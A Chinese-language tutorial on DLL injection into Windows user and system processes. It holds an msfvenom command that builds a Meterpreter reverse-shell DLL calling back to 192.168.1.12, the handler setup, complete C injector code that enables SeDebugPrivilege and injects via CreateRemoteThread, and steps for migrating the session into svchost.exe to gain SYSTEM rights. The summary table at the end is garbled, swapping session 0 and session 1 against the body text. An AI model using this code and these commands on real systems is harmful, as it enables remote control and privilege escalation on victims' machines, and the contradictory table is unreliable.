1. 概述
正常情况中我们进行DLL注入时只能注入到用户态的进程中,无法注入到系统进程中,这里面主要的原因为权限,本次通过使用SeDebugPrivilege进行权限提升,从而可以使DLL注入到系统进程中。
1.1 session 0
也就是系统层面的东西,看一下svchost.exe,其session为0
1.2 session 1
用户态的进程,如微信、QQ、浏览器等这种工作在用户层面的进程
2. session 1
2.1 创建恶意的DLL
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.12 LPORT=1234 -f dll > 1.dll
2.2 监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.12
set lport 1234
run
2.3 注入进程权限
2.3.1 Windows权限机制
前面我们说过关于权限的情况
以用户权限运行的进程并没有任意系统资源的权限
恶意代码获取这些权限的唯一方法是通过设置访问令牌的权限来开启SeDebugPrivilege
在Windows中,访问令牌(Access Token)是一个包含进程安全描述符的对象,安全描述符用来指定拥有者的访问权限
可以通过调用AdjustTokenPrivilege来调整访问令牌
2.3.2 SeDebugPrivilege提权
SeDebugPrivilege特权作为一个系统级别调试工具,可以用来获取系统进程拥有的所有权限
默认情况下,SeDebugPrivilege只赋给本地管理员账号
拥有SeDebugPrivilege权限同等于拥有本地管理员权限
2.3.3 提权代码
提权相关的代码如下所示:
bool EnbalePrivileges() {
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tp = { 0 };
DWORD wdret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if (wdret == NULL) {
errorprint("OpenProcessToken");
}
BOOL privilege=LookupPrivilegeValueA(NULL,"SeDebugPrivilege",&luidValue); //检索本地唯一性标识符的特定系统上用于局部地(LUID)表示指定的权限名称
if (privilege == false) {
errorprint("LookupPrivilegeValueA Privilege:SeDebugPrivilege");
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luidValue;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bool bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL); //设置特权开启/关闭
if (bRet == false) {
errorprint("Enable Privilege Failure\n");
}
if (GetLastError() == ERROR_SUCCESS) {
printf("Enable Privilege:SeDebugPrivilege Sucess\n");
}
}
2.4 DLL远程注入
把生成的恶意的DLL保存到C:\Users\Administrator\Desktop\1.dll,这里面注入的时候我们选择微信程序中
具体实现的代码如下:
#include <stdio.h>
#include <Windows.h>
#define errorprint(name){printf("%s Error Code:%d\n",name,GetLastError());return 1;}
bool EnbalePrivileges() {
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tp = { 0 };
DWORD wdret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if (wdret == NULL) {
errorprint("OpenProcessToken");
}
BOOL privilege = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luidValue);
if (privilege == false) {
errorprint("LookupPrivilegeValueA Privilege:SeDebugPrivilege");
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luidValue;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bool bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
if (bRet == false) {
errorprint("Enable Privilege Failure\n");
}
if (GetLastError() == ERROR_SUCCESS) {
printf("Enable Privilege:SeDebugPrivilege Sucess\n");
}
}
int main()
{
int pid = 9920;
EnbalePrivileges();
char* dllname = "C:\\Users\\Administrator\\Desktop\\1.dll";
int dllnamesize = strlen(dllname) * 2;
HANDLE pidmodule = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (pidmodule == NULL) {
printf("OpenProcess Error Code:%d\n", GetLastError());
return 1;
}
printf("OpenProcess HANDLE 0x%x\n", pidmodule);
LPVOID vaeAddr = VirtualAllocEx(pidmodule, NULL, dllnamesize, MEM_COMMIT, PAGE_READWRITE);
if (vaeAddr == NULL) {
printf("VirtualAllocEx Error Code:%d\n", GetLastError());
return 1;
}
printf("VirtualAllocEx Sucess 0x%x\n", vaeAddr);
if (false == WriteProcessMemory(pidmodule, vaeAddr, dllname, dllnamesize, NULL)) {
printf("WriteProcessMemory Error Code:%d\n", GetLastError());
return 1;
}
printf("WriteProcessMemory Sucess\n");
FARPROC loadaddress = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
if (loadaddress == NULL) {
printf("Get Kernel32 Address Error Code:%d\n", GetLastError());
return 1;
}
printf("Get Function LoadlibraryA Function Address:0x%x\n", loadaddress);
HANDLE runthread = CreateRemoteThread(pidmodule, NULL, 0, (LPTHREAD_START_ROUTINE)loadaddress, vaeAddr, 0, NULL);
if (runthread == NULL) {
printf("CreateRemoteThread Error Code:%d\n", GetLastError());
}
printf("CreateRemoteThread Sucess\n");
system("pause");
return 0;
}
使用VS 2019直接Ctrl+F7编译,编译成功以后Ctrl+F5直接运行,结果如下所示:
2.5 反弹shell
3. session 0注入
上面的注入只能注入到session1的进程中,我们来测试一下注入到session0的进程。
但是session 0注入,测试了很多次,有的可以复现,有的却不行,可能和环境有关,下面是测试成功的系统。并且同一系统,有时候可以,有时候却不行。
3.1 存在问题
还是只能注入到用户态的进程,无法注入到系统进程中。
报错代码为:CreateRemoteThread Error Code:5。发现并不是权限的问题。
找一下MSDN,原因为生成的程序为32位的,直接改成64位即可以。
3.2 注入代码
3.2.1 注入进程
3.2.2 生成64位dll
3.2.3 注入代码
#include <stdio.h>
#include <Windows.h>
#define errorprint(name){printf("%s Error Code:%d\n",name,GetLastError());return 1;}
bool EnbalePrivileges() {
HANDLE hToken = NULL;
LUID luidValue = { 0 };
TOKEN_PRIVILEGES tp = { 0 };
DWORD wdret = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
if (wdret == NULL) {
errorprint("OpenProcessToken");
}
BOOL privilege = LookupPrivilegeValueA(NULL, "SeDebugPrivilege", &luidValue);
if (privilege == false) {
errorprint("LookupPrivilegeValueA Privilege:SeDebugPrivilege");
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luidValue;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
bool bRet = AdjustTokenPrivileges(hToken, FALSE, &tp, 0, NULL, NULL);
if (bRet == false) {
errorprint("Enable Privilege Failure\n");
}
if (GetLastError() == ERROR_SUCCESS) {
printf("Enable Privilege:SeDebugPrivilege Sucess\n");
}
}
int main()
{
int pid = 5708;
EnbalePrivileges();
char* dllname = "C:\\Users\\Administrator\\Desktop\\test.dll";
int dllnamesize = strlen(dllname) * 2;
HANDLE pidmodule = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (pidmodule == NULL) {
printf("OpenProcess Error Code:%d\n", GetLastError());
return 1;
}
printf("OpenProcess HANDLE 0x%x\n", pidmodule);
LPVOID vaeAddr = VirtualAllocEx(pidmodule, NULL, dllnamesize, MEM_COMMIT, PAGE_READWRITE);
if (vaeAddr == NULL) {
printf("VirtualAllocEx Error Code:%d\n", GetLastError());
return 1;
}
printf("VirtualAllocEx Sucess 0x%x\n", vaeAddr);
if (false == WriteProcessMemory(pidmodule, vaeAddr, dllname, dllnamesize, NULL)) {
printf("WriteProcessMemory Error Code:%d\n", GetLastError());
return 1;
}
printf("WriteProcessMemory Sucess\n");
FARPROC loadaddress = GetProcAddress(GetModuleHandleA("Kernel32.dll"), "LoadLibraryA");
if (loadaddress == NULL) {
printf("Get Kernel32 Address Error Code:%d\n", GetLastError());
return 1;
}
printf("Get Function LoadlibraryA Function Address:0x%x\n", loadaddress);
HANDLE runthread = CreateRemoteThread(pidmodule, NULL, 0, (LPTHREAD_START_ROUTINE)loadaddress, vaeAddr, 0, NULL);
if (runthread == NULL) {
printf("CreateRemoteThread Error Code:%d\n", GetLastError());
}
printf("CreateRemoteThread Sucess\n");
system("pause");
return 0;
}
3.3 编译运行
3.4 反弹
3.5 分析
可以看到其运行账号为system,但是其Pid为10172,10172对应的还是为rundll32.exe,所以其逻辑还是利用rundll32.exe来进行加载
但是网上看到有直接注入到svchost.exe中的,如下图所示:
4. session 1分析
4.1 权限
看一下权限,发现其有SeDebugPrivilege权限
获取的用户为administrator
4.2 主进程
和前面分析的一致,可以看到其是使用rundll32.exe来加载恶意的dll的。
4.3 进程迁移
前面看到其使用的进程为rundll32.exe,我们想迁移到svchost.exe,这样的话一方面是系统进程,如果能迁移到系统进程的话其运行的权限也就是svchost.exe进程的权限,我们可以看到svchost.exe进程对应的运行权限为system权限,因此我们可以使用migrate将注入的进程迁移到svchost.exe中,直接迁移,成功,再看一下,其权限为system权限。
5. 总结
根据这里面的分析和测试,可以得到以下结论:
注入类型 | 可注入进程 | 特点 |
---|---|---|
session 0注入 | 用户态的进程,如微信、chrome等 | 利用rundll32.exe来加载恶意dll(win10) 网上看到有直接注入到用户态的进程,没有复现成功 |
session 1注入 | 系统态的乾,如svchost等 | 利用rundll32.exe来加载恶意dll(win10) 网上看到有直接注入到系统态的进程,没有复现成功 |